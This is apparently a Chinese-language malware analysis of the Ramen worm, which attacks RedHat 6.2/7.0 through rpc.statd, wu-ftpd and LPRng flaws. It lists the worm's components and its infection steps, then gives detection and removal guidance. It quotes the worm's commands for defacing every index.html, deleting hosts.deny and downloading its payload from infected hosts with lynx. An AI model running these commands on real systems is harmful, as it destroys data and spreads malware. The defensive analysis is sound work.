RAMEN 蠕虫介绍
t0pgun
admin@supernj.com
Ramen是一个利用redhat的现有远程漏洞自动传播的蠕虫.此蠕虫由多个攻击性exploit和自动执行脚本组成,专门针对redhat 6.2和redhat 7.0存在的rpc.statd远程溢出,wu-ftpd,lpd格式化字符串漏洞来进行入侵.此蠕虫已经感染了上千台linux系统.如果在此蠕虫中再加上DDoS的插件.那么危害性将很严重
此蠕虫中包含有这些文件
asp: 一个redhat7下面的xinetd配置文件,监听端口27374
asp62:一个简单的httpd服务守护进程.当链接此服务时,它会提供此蠕虫的压缩包,此蠕虫主要靠此服务传播(for RedHat 6.2)
asp7:一个简单的httpd服务守护进程.当链接此服务时,它会提供此蠕虫的压缩包,此蠕虫主要靠此服务传播(for RedHat 7.0)
bd62.sh: 蠕虫的安装程序 for RedHat 6.2
bd7.sh:蠕虫的安装程序 for RedHat 7.0
getip.sh:获得主机ip的脚本.
hackl.sh:读取.l文件.并且把地址写入lh.sh
hackw.sh:读取.w文件.并且把地址写入wh.sh
index.html: HTML 文本.蠕虫用此文本替换主机的首页
l62: 修改过的LPRng 的格式化字符串攻击程序 for RedHat 6.2
l7:修改过的LPRng 的格式化字符串攻击程序 for RedHat 7.0
lh.sh: 执行LPRng exploit的脚本
randb62: 随机产生一个B类的ip地址 for RedHat 6.2
randb7:随机产生一个B类的ip地址 for RedHat 7.0
s62: 修改过的statdx的exploit for RedHat 6.2
s7:修改过的statdx的exploit for RedHat 7
scan.sh: 从randb程序中取得一个B类的网络地址.然后运行synscan
start.sh:此蠕虫的开始程序
start62.sh: 后台开始运行 scan.sh, hackl.sh, hackw.sh脚本
start7.sh:和start62.sh同样功能
synscan62:修改过的synscan for RedHat 6.2
synscan7: 修改过的synscan for RedHat 7
w62:修改过的wu-ftpd 2.6的expolit for RedHat 6.2
w7: 修改过的wu-ftpd 2.6的expolit for RedHat 7.0
wh.sh:运行exploit的脚本
wu62: 修改过的wu-ftp 2.6的exploit
它的感染过程是这样的:
入侵者先攻击进入一台redhat6.2或者7.0,上传此蠕虫,运行start.sh脚本,感染第一台redhat.
start.sh 首先查找 主机的web主页面,并且用自己的页面替换它
nohup find / -name "index.html" -exec /bin/cp index.html {} \; &
然后删除hosts.deny文件
rm -f /etc/hosts.deny
接着运行getip.sh取这台主机的ip地址
简单判断此系统是redhat6.2还是7.0
安装相应的服务文件,开始工作.Ramen worm扫描随机产生的地址范围,根据取回的ftp banner和端口信息来判断Redhat系统.进行相应的入侵.
当Ramen进入另外一个系统后,会在系统上做如下动作:
首先在/usr/src/ 建立隐藏目录 .poop/
mkdir /usr/src/.poop;cd /usr/src/.poop
接着通过lynx这个文本浏览器来取得已经中了Ramen的机器上的蠕虫文件.
lynx -source http://%s:27374 > /usr/src/.poop/ramen.tgz
解开此压缩包,并且复制一份到/tmp目录下
运行start.sh 感染系统.并且发一份mail到gb31337@hotmail.com和gb31337@yahoo.com.通知此蠕虫的主人.
如何发现您的系统已经被蠕虫感染?
此蠕虫会消耗大量系统资源来运行syn扫描
通过查看系统进程和当前链接情况可以看出当前正在运行的程序
ps -ef | more
netstat -a
如果发现大量的syn半连接和可疑的syn扫描进程.那么立刻停止这些进程.检查系统
首先查看系统服务 :
连接系统的27374 端口.如果得到大量的乱码信息.那么可能被感染
检查
/etc/inetd.conf (redhat6.2);/etc/xinetd.d/ (redhat7)
grep -v '#' /etc/inetd.conf | grep asp
ls -la /etc/xinetd.d/ | grep asp
cat /etc/rc.d/rc.sysinit | grep '/usr/src/.poop'
如果发现此服务,而且此服务以前并不存在.那么有可能被蠕虫感染.
检查 /usr/src/.poop/目录和/tmp目录.看是否存在上述脚本程序
再检查/var/log/secure和/var/log/messages文件.这些文件里可以看出是否被蠕虫攻击过.并且可以记录下攻击的来源.
你还可以检查/var/log/maillog 看是否有发往 gb31337@hotmail.com和gb31337@yahoo.com 的mail
如何杀掉此蠕虫?
首先把系统与网络断开
编辑 /etc/rc.d/rc.sysinit 文件,删除/usr/src/.poop/start*.sh 这一行
编辑 /etc/inetd.conf 删除asp stream tcp nowait root /sbin/asp (6.2)
/etc/xinetd.d/ 删除asp (7.0)
删除 /sbin/asp 文件
此时此蠕虫的启动部分已经删除
删除/usr/src/.poop/目录和/tmp下的ramen.tgz文件
由于此蠕虫删除了/usr/sbin/rpc.rstatd,/sbin/rpc.statd和/usr/sbin/lpd程序.并且禁止了ftp的匿名登陆
如果需要的话.你应该回复这些文件.
重新启动系统.看一下进程和服务,是否已经正常.如果正常那么就开始安装系统补丁.